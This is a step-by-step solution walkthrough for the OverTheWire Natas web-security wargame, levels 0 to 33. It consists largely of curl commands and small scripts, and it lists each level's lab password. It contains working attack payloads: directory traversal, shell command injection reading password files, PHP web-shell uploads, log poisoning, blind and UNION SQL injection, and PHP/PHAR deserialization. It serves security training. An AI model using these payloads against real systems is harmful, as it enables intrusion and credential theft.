

LEVEL 0

Accessed the website using browser or curl

curl -u natas0:natas0 <http://natas0.natas.labs.overthewire.org/> (in cmd)

Viewed the page source (in browser: right click > View Page Source)

Level 1

Searched for password in the HTML comment (in cmd)

curl -u natas1:0nzCigAq7t2iALyvU9xcHIYN4MlkIwlq http://natas1.natas.labs.overthewire.org | grep password

level 2

Check directory listing

curl -u natas2:TguMNxKo1DSa1tujBLuZJnDUICcUAPII http://natas2.natas.labs.overthewire.org/files/

Fetch users.txt

*curl -u natas2:TguMNxKo1DSa1tujBLuZJnDUICcUAPII
http://natas2.natas.labs.overthewire.org/files/users.txt*

Grep the password

*curl -u natas2:TguMNxKo1DSa1tujBLuZJnDUICcUAPII
http://natas2.natas.labs.overthewire.org/files/users.txt | grep natas3*

level 3

Step 1: View page source (done via browser or curl)

curl -s -u natas3:3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH http://natas3.natas.labs.overthewire.org

Step 2: Check robots.txt based on hint in source

*curl -u natas3:3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
http://natas3.natas.labs.overthewire.org/robots.txt*

Step 3: Access the hidden directory found in robots.txt

```
curl -u natas3: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH  
http://natas3.natas.labs.overthewire.org/s3cr3t/
```

Step 4: Open the file containing the next password

```
curl -u natas3: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH  
http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt
```

LEVEL 4

Step 1: Access the page with credentials

```
curl -u natas4: QryZXc2e0zahULdHrtHxzyYkj59kUxLQ http://natas4.natas.labs.overthewire.org
```

Step 2: Observe the message on the page and source code (use browser or curl)

```
curl -s -u natas4 QryZXc2e0zahULdHrtHxzyYkj59kUxLQ http://natas4.natas.labs.overthewire.org
```

Step 3: Send a custom HTTP Referer header using curl

```
curl -u natas4 QryZXc2e0zahULdHrtHxzyYkj59kUxLQ -H "Referer:  
http://natas5.natas.labs.overthewire.org/" http://natas4.natas.labs.overthewire.org
```

LEVEL 5

Step 1: Access the page with curl and check response

```
curl -u natas5: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK http://natas5.natas.labs.overthewire.org
```

Step 2: Save the cookie or check headers using -I

```
curl -u natas5: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK -I http://natas5.natas.labs.overthewire.org
```

Step 3: Send a modified cookie to trick the server

```
curl -u natas5: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK --cookie "loggedin=1"  
http://natas5.natas.labs.overthewire.org
```

LEVEL 6

Check the page

```
curl -u natas6: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned http://natas6.natas.labs.overthewire.org
```

Access the secret include file directly

```
curl -u natas6: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned  
http://natas6.natas.labs.overthewire.org/includes/secret.inc
```

Submit the secret via POST

```
curl -u natas6: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned -d  
"secret=<retrieved_secret>&submit=submit" http://natas6.natas.labs.overthewire.org
```

LEVEL 7

First, visit the Natas level 7 URL

```
curl http://natas7.natas.labs.overthewire.org
```

Check the URL for parameters to manipulate

Trying directory traversal to access sensitive files

```
curl http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas\_webpass/natas8
```

LEVEL 8

No command used.

LEVEL 9

```
curl -u natas9: ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t  
http://natas9.natas.labs.overthewire.org/?needle=anything; cat /etc/natas\_webpass/natas10
```

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```
curl -u natas10: t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu --data  
"needle=anything%0A/etc/natas_webpass/natas11&submit=Search"  
http://natas10.natas.labs.overthewire.org
```

%0A is URL encoding for newline \n

LEVEL 11

```
curl --cookie  
"data=HmYkBwozJw4WNyAAfYB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5" -u  
natas11:UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk http://natas11.natas.labs.overthewire.org
```

LEVEL 12

Step 1: Create the PHP file that reads the password for Natas 13

```
echo '<?php echo file_get_contents("/etc/natas_webpass/natas13"); ?>' | Out-File -Encoding ASCII  
exploit.php
```

Step 2: Use curl to upload the exploit.php file to the Natas 12 server

```
curl.exe -u natas12:yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB -F "filename=exploit.php" -F  
"uploadedfile=@exploit.php" http://natas12.natas.labs.overthewire.org
```

Step 3: Access the uploaded exploit.php file to read the password for Natas 13

```
curl.exe -u natas12:yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB  
http://natas12.natas.labs.overthewire.org/upload/e94bk9mf0o.php
```

LEVEL 13

1. Prepare the payload (JPEG header + PHP code) and create the exploit file

```
$hexBytes = "0xFF,0xD8,0xFF,0xDB"; [Byte[]]$jpegHeader = $hexBytes -split ',' | ForEach-Object {  
    [Convert]::ToByte($_, 16) }; $phpCode = '<?php echo  
file_get_contents("/etc/natas_webpass/natas14"); ?>'; $jpegHeader +  
[System.Text.Encoding]::ASCII.GetBytes($phpCode) | Set-Content -Path exploit.jpg.php -  
Encoding Byte -Force
```

2. Upload the payload to the server using curl

```
curl.exe -u natas13:trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC -F "filename=exploit.php" -F  
"uploadedfile=@exploit.jpg.php;type=image/jpeg" http://natas13.natas.labs.overthewire.org
```

3. Execute the uploaded PHP file to get the password

```
curl.exe -u natas13:trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC  
http://natas13.natas.labs.overthewire.org/upload/ng62grpudu.php
```

LEVEL 15

Step 1: Confirm natas16 user exists

```
curl -u natas15: SdqIqBsFcz3yotlNYErZSZwblkm0lrvx  
"http://natas15.natas.labs.overthewire.org/?username=natas16"
```

Step 2: Run the script to find characters in password

```
python pass_char_identify.py
```

Step 3: Run the brute-force script to find the full password

```
python brute_force.py
```

LEVEL 16

Step 1: Confirm we can access Level 16

```
curl -u natas16:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo  
"http://natas16.natas.labs.overthewire.org/"
```

Step 2: Test if command substitution \$(...) is possible

```
curl -u natas16:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo  
"http://natas16.natas.labs.overthewire.org/?needle=$(ls)/British"
```

Step 3: Check if we can grep from natas17's password file manually

```
curl -u natas16:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo  
"http://natas16.natas.labs.overthewire.org/?needle=$(grep a /etc/natas_webpass/natas17)British"
```

Step 4: Run script to find valid characters in the password and brute force password

```
python find_valid_chars.py
```

LEVEL 17

Step 1: Confirm access to Level 17

```
curl -u natas17:EqjHJbo7LFNb8vwhHb9s75hokh5TF0O
```

```
"http://natas17.natas.labs.overthewire.org/"
```

Step 2: Basic test injection to confirm timing attack works

```
curl -u natas17:EqjHJbo7LFNb8vwhHb9s75hokh5TF0O --data-urlencode "username=natas18\" AND  
SLEEP(5) -- " "http://natas17.natas.labs.overthewire.org/" --output nul --write-out  
"%{time_total}\n"
```

Step 3: Create and run a Python script to extract valid password

```
python extract_password_natas17.py
```

```
import requests
```

```
#import string
```

```
url = "http://natas17:EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC@natas17.natas.labs.overthewire.org/"
```

```
auth = ("natas17", "EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC")
```

```
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
```

```
password = ""
```

```
for i in range(32):
```

```
    for j in charset:
```

```
        req= requests.get(url+'?username=natas18" AND password LIKE BINARY'+ password + j +  
        '%" AND SLEEP(2) -- ')
```

```
        if req.elapsed.total_seconds() >=2:
```

```
            password=password+j
```

```
            print('Password: ' + password)
```

```
            break
```

LEVEL 18

Step 1: Navigate to the directory where the script is saved

```
cd "/c/Users/Neha Kasera/OneDrive/Desktop/acitvity"
```

Step 2: Make the bash script executable

```
chmod +x natas18_brute.sh
```

```
# Step 3: Execute the script
```

```
./natas18_brute.sh
```

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```
# Navigate to the directory where the script is saved
```

```
cd "/c/Users/Neha Kasera/OneDrive/Desktop/acitvity"
```

```
# Make the bash script executable
```

```
chmod +x natas19_brute.sh
```

```
# Run the script using Git Bash
```

```
./natas19_brute.sh
```

LEVEL 20

```
# Step 1: Submit Malicious Name with Newline Injection to Set Admin Variable
```

```
curl -s -c cookies.txt -u natas20: p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw \  
--data-urlencode '$name=foo\nadmin 1' \  
http://natas20.natas.labs.overthewire.org/
```

```
# Step 2: Reuse the Session and Retrieve the Password for Natas 21
```

```
curl -s -b cookies.txt -u natas20: p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw \  
http://natas20.natas.labs.overthewire.org/ | grep -iE "natas21|password"
```

LEVEL 21

```
# Step 1: Get the session cookie from the experimenter site
```

```
PHPSID=$(curl -s -u natas21:BPhv63cKE1lkQl04cE5CuFTzXe15NfiH -c - http://natas21-  
experimenter.natas.labs.overthewire.org/ | \  
grep PHPSESSID | awk '{print $7}')
```

Step 2: Use that cookie to set admin=1

```
curl -s -u natas21:BPhv63cKE1lkQl04cE5CuFTzXe15NfiH \  
-b "PHPSESSID=$PHPSID" \  
-d "submit=1&admin=1&bgcolor=%23ffffff" \  
http://natas21-experimenter.natas.labs.overthewire.org/index.php >/dev/null
```

Step 3: Send that session cookie to the main site and extract the password

```
curl -s -u natas21:BPhv63cKE1lkQl04cE5CuFTzXe15NfiH \  
-b "PHPSESSID=$PHPSID" \  
http://natas21.natas.labs.overthewire.org/ | grep -o 'Password: .*' | cut -d' ' -f2-
```

LEVEL 22

Step 1: Make a request to the given URL with the "revelio" parameter

```
curl -s -u natas22:d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz \  
"http://natas22.natas.labs.overthewire.org/index.php?revelio"
```

Step 2: Extract the password from the response

```
curl -s -u natas22:d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz \  
"http://natas22.natas.labs.overthewire.org/index.php?revelio" \  
| grep -oP 'Password: \K.*'
```

LEVEL 23

Step 1: Access the vulnerable URL with a crafted 'passwd' parameter

```
curl -s -u natas23:dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs \  
"http://natas23.natas.labs.overthewire.org/?passwd=11iloveyou"
```

LEVEL 24

Step 1: Send a GET request with 'passwd' as an array to exploit the type comparison flaw

```
curl -s -u natas24:MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd \  
"http://natas24.natas.labs.overthewire.org/?passwd[]=0"
```


LEVEL 25

Step 1: Get PHPSESSID and save cookies

```
curl -s -u natas25: ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws -c cookies.txt  
http://natas25.natas.labs.overthewire.org/ > /dev/null
```

Step 2: Extract session ID

```
phpsessid=$(grep PHPSESSID cookies.txt | awk '{print $7}')  
echo $phpsessid
```

Step 3: Poison the log file with PHP code

```
curl -s -u natas25: ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws \  
-b cookies.txt \  
-A '<?php system("cat /etc/natas_webpass/natas26"); ?>' \  
http://natas25.natas.labs.overthewire.org/ > /dev/null
```

Step 4: Trigger file inclusion using traversal

```
curl -s -u natas25: ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws \  
-b cookies.txt \  
"http://natas25.natas.labs.overthewire.org/?lang=.....//.....//.....//.....//var/www/natas/natas25/logs/natas  
25_${phpsessid}.log"
```

Step 5: Extract Natas26 password from output

```
curl -s -u natas25: ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws \  
-b cookies.txt \  
"http://natas25.natas.labs.overthewire.org/?lang=.....//.....//.....//.....//var/www/natas/natas25/logs/natas  
25_${phpsessid}.log" | grep -oE '[a-zA-Z0-9]{32}'
```

LEVEL 26

Step 1: Send the malicious serialized Logger object via the 'drawing' cookie

```
curl -s -u natas26:oGtWAX2kvoD5Fqonp0OmaWn4IE5RCcHa \  
-b  
"drawing=Tzo2OiJMb2dnZXIiOjI6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czo2NToiL3Zhci9  
3d3cvbmF0YXMybmF0YXMyNi9pbWcvbmF0YXMyNi9xODJvcHR0NTk3N2FyN2dzYzhidGhl  
MDEyMy5waHAiO3M6MTU6IgBMb2dnZXIAXhpde1zZyI7czo1OToiPD9waHAgaGZWNobyBza  
GVsbF9leGVjKCDjYXQgL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcKTsgPz4iO30=" \  
http://natas26.natas.labs.overthewire.org/
```

Step 2: Trigger the payload to get the password for natas27

```
curl -s -u natas26:oGtWAX2kvoD5Fqonp0OmaWn4IE5RCcHa \
```

```
http://natas26.natas.labs.overthewire.org/img/natas26\_q82optt5977ar7gsc8bthe0123.php
```

LEVEL 27

Generate a long username starting with 'natas28' and padding to exceed 64 characters

```
username=$(printf 'natas28%056dB' 0 | tr '0' 'A')
```

Register this padded username with a chosen password (e.g., 'testpass')

```
curl -s -u natas27:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ \
```

```
--data-urlencode "username=$username" \
```

```
--data-urlencode "password=testpass" \
```

```
http://natas27.natas.labs.overthewire.org/
```

Attempt to login as 'natas28' using your own password to extract the real credentials

```
curl -s -u natas27:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ \
```

```
--data-urlencode "username=natas28" \
```

```
--data-urlencode "password=testpass" \
```

```
http://natas27.natas.labs.overthewire.org/ | grep -oE '[a-zA-Z0-9]{32}'
```

LEVEL 28

Submit a crafted SQL injection payload and get the redirected encrypted query URL

```
curl -s -u natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF \
```

```
--data-urlencode "query=AAAAAAAAAA' UNION SELECT password FROM users; --" \
```

```
http://natas28.natas.labs.overthewire.org/ \
```

```
| grep -o 'search.php?query=[^"]*'
```

Copy the output from the above and fetch the search result to extract the next level password

```
curl -s -u natas28:JWwR438wkgTsNKBbcJoowyysdM82YjeF \
```

```
"http://natas28.natas.labs.overthewire.org/search.php?query=<your_encoded_query_here>" \
```

```
| grep -oE '[a-zA-Z0-9]{32}'
```

LEVEL 29

Send a command injection using wildcards to bypass the 'natas' filter and read the password file

```
curl -s -u natas29:airooCaiseiyee8he8xongien9euhe8b \
"http://natas29.natas.labs.overthewire.org/index.pl?file=|cat /etc/n?tas_webpass/n?tas30%00"
```

Extract the 32-character password for natas30 from the response

```
curl -s -u natas29:airooCaiseiyee8he8xongien9euhe8b \
"http://natas29.natas.labs.overthewire.org/index.pl?file=|cat /etc/n?tas_webpass/n?tas30%00" \
| grep -oE '[a-zA-Z0-9]{32}'
```

LEVEL 30

Exploit the Perl script's mishandling of multiple username parameters in POST request

The first 'username' value is injected with SQL, the second overwrites the clean value in the Perl code

```
curl -s -u natas30:wie9iexae0Daiho8v8vuu3cei9wahf0e \
-d "username=' OR 1=1 -- " \
-d "username=1" \
-d "password=irrelevant" \
http://natas30.natas.labs.overthewire.org/ \
| grep -oE '[a-zA-Z0-9]{32}'
```

LEVEL 31

Step 1: Create a dummy file to satisfy the form requirement

```
echo "dummy" > dummy.txt
```

Step 2: Exploit the command injection vulnerability via curl

```
curl -s -u natas31:hay7aecuungiuKaezuathuk9biin0pu1 \
-F "file=|cat /etc/natas_webpass/natas32" \
-F "file=@dummy.txt" \
http://natas31.natas.labs.overthewire.org/ | grep -oE '[a-zA-Z0-9]{32}'
```

LEVEL 32

Step 1: Create a dummy file to satisfy the file upload requirement

```
echo "dummy" > dummy.txt
```

Step 2: Exploit the command injection to read the Natas33 password

```
curl -s -u natas32:no1vohsheCaiv3ieH4em1ahchisainge \  
-F "file=|cat /etc/natas_webpass/natas33" \  
-F "file=@dummy.txt" \  
http://natas32.natas.labs.overthewire.org/ | grep -oE '[a-zA-Z0-9]{32}'
```

LEVEL 33

Step 1: Create the PHP shell to read the Natas34 password

```
echo "<?php system('cat /etc/natas_webpass/natas34'); ?>" > shell.php
```

Step 2: Write a PHP script to generate a PHAR file with a crafted metadata object

```
cat > natas33.php << 'EOF'
```

```
<?php
```

```
class Executor {
```

```
    public $filename = 'shell.php';
```

```
    public $signature = true;
```

```
}
```

```
$phar = new Phar('natas.phar');
```

```
$phar->startBuffering();
```

```
$phar->setStub('<?php __HALT_COMPILER(); ?>');
```

```
$phar->addFromString('test.txt', 'test');
```

```
$phar->setMetadata(new Executor());
```

```
$phar->stopBuffering();
```

```
?>
```

```
EOF
```

Step 3: Generate the PHAR archive

```
php -d phar.readonly=0 natas33.php
```

Step 4: Upload both the PHAR and shell file

```
curl -s -u natas33:shoogeiga2yee3de6Aex8uaXeech5eey \  
-F "file=@natas.phar" \  
http://natas33.natas.labs.overthewire.org/
```

```
curl -s -u natas33:shoogeiga2yee3de6Aex8uaXeech5eey \  
-F "file=@shell.php" \  
http://natas33.natas.labs.overthewire.org/
```

Step 5: Trigger the deserialization (adjust the path if needed)

```
curl -s -u natas33:shoogeiga2yee3de6Aex8uaXeech5eey \  
-F "file=@phar://uploads/natas.phar" \  
http://natas33.natas.labs.overthewire.org/
```